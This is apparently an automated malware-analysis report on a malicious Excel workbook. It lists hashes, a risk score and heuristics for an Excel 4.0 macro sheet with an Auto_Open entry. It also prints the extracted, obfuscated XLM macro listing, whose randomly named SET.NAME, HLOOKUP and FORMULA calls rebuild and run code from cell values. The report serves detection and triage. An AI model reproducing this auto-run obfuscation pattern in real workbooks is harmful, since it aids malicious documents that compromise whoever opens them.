Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 274cf679c6e254be…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:24:41 Authoring application: Microsoft Excel First seen: 2021-01-11
MD5: 55b76e26665da6c7cb508907f1cb276c SHA-1: 1a8c79ae5a9e0c0efffabb05a46142ab111a03b4 SHA-256: 274cf679c6e254be2e99bf442bca5b0523815a01471e99b49f308a3f7beb9f75
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6388 bytes
SHA-256: 9ce5f343e3a82ce3c3fca7ec618dfc66d9586539c9bba69159672ab88ab1e17b
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     12 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  tjs
' 0018     23 LABEL : Cell Value, String Constant - AFEOLzNj len=0 
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!A192 
' 0018     24 LABEL : Cell Value, String Constant - AXZZyYGlE len=0 
' 0018     20 LABEL : Cell Value, String Constant - gPYoH len=0 
' 0018     26 LABEL : Cell Value, String Constant - iGYrhwrnYQc len=0 
' 0018     27 LABEL : Cell Value, String Constant - JJmkyrRVuyuN len=0 
' 0018     24 LABEL : Cell Value, String Constant - jRfpOUAFy len=0 
' 0018     22 LABEL : Cell Value, String Constant - jYkBUaE len=0 
' 0018     25 LABEL : Cell Value, String Constant - lgMMLvpzVT len=0 
' 0018     26 LABEL : Cell Value, String Constant - MKtLHINUzCB len=0 
' 0018     21 LABEL : Cell Value, String Constant - pMSBnU len=0 
' 0018     20 LABEL : Cell Value, String Constant - pOhjz len=0 
' 0018     21 LABEL : Cell Value, String Constant - QOBOqA len=0 
' 0018     27 LABEL : Cell Value, String Constant - ReEJyIurXZOx len=0 
' 0018     25 LABEL : Cell Value, String Constant - vwulaZeDnc len=0 
' 0018     22 LABEL : Cell Value, String Constant - WinqvOY len=0 
' 0018     26 LABEL : Cell Value, String Constant - xHrmERfuaJH len=0 
' 0018     26 LABEL : Cell Value, String Constant - XLIfdMHvieM len=0 
' 0018     23 LABEL : Cell Value, String Constant - xswNvPkK len=0 
' 0018     20 LABEL : Cell Value, String Constant - XTblf len=0 
' 0018     25 LABEL : Cell Value, String Constant - ydfVAAzuBn len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  tjs,A93,"SET.NAME("vwulaZeDnc",VALUE("0"))",""
'  tjs,A95,"SET.NAME("XTblf",vwulaZeDnc)",""
'  tjs,A100,"SET.NAME("AFEOLzNj",vwulaZeDnc)",""
'  tjs,A104,"SET.NAME("pMSBnU",COUNTA(ydfVAAzuBn))",""
'  tjs,A107,"SET.NAME("gPYoH",COUNTA(XLIfdMHvieM))",""
'  tjs,A110,[],""
'  tjs,A115,"SET.NAME("QOBOqA","")",""
'  tjs,A117,"XTblf",""
'  tjs,A120,"SET.NAME("xswNvPkK",HLOOKUP("*",ydfVAAzuBn,XTblf,FALSE))",""
'  tjs,A123,"iGYrhwrnYQc",""
'  tjs,A128,"SET.NAME("AXZZyYGlE",vwulaZeDnc)",""
'  tjs,A133,[],""
'  tjs,A136,"AXZZyYGlE",""
'  tjs,A141,"JJmkyrRVuyuN",""
'  tjs,A146,"MKtLHINUzCB",""
'  tjs,A151,"ReEJyIurXZOx",""
'  tjs,A156,"SET.NAME("WinqvOY",VALUE(HLOOKUP("*",XLIfdMHvieM,ReEJyIurXZOx,FALSE)))",""
'  tjs,A160,"xHrmERfuaJH",""
'  tjs,A162,"QOBOqA",""
'  tjs,A167,"AFEOLzNj",""
'  tjs,A170,NEXT(),""
'  tjs,A173,"lgMMLvpzVT",""
'  tjs,A178,"SET.NAME("f",INT(T(FORMULA(T(QOBOqA)&"",""&T(lgMMLvpzVT)))))",""
'  tjs,A181,"pOhjz",""
'  tjs,A185,NEXT(),""
'  tjs,A187,RETURN(),""
'  tjs,A221,"SET.NAME("jRfpOUAFy",A93)",""
'  tjs,A225,"ydfVAAzuBn",""
'  tjs,A229,"SET.NAME("XLIfdMHvieM",R56C13)",""
'  tjs,A233,"SET.NAME("pOhjz",241)",""
'  tjs,A237,"SET.NAME("jYkBUaE",1)",""
'  tjs,A240,jRfpOUAFy(),""
'  tjs,A241,HALT(),""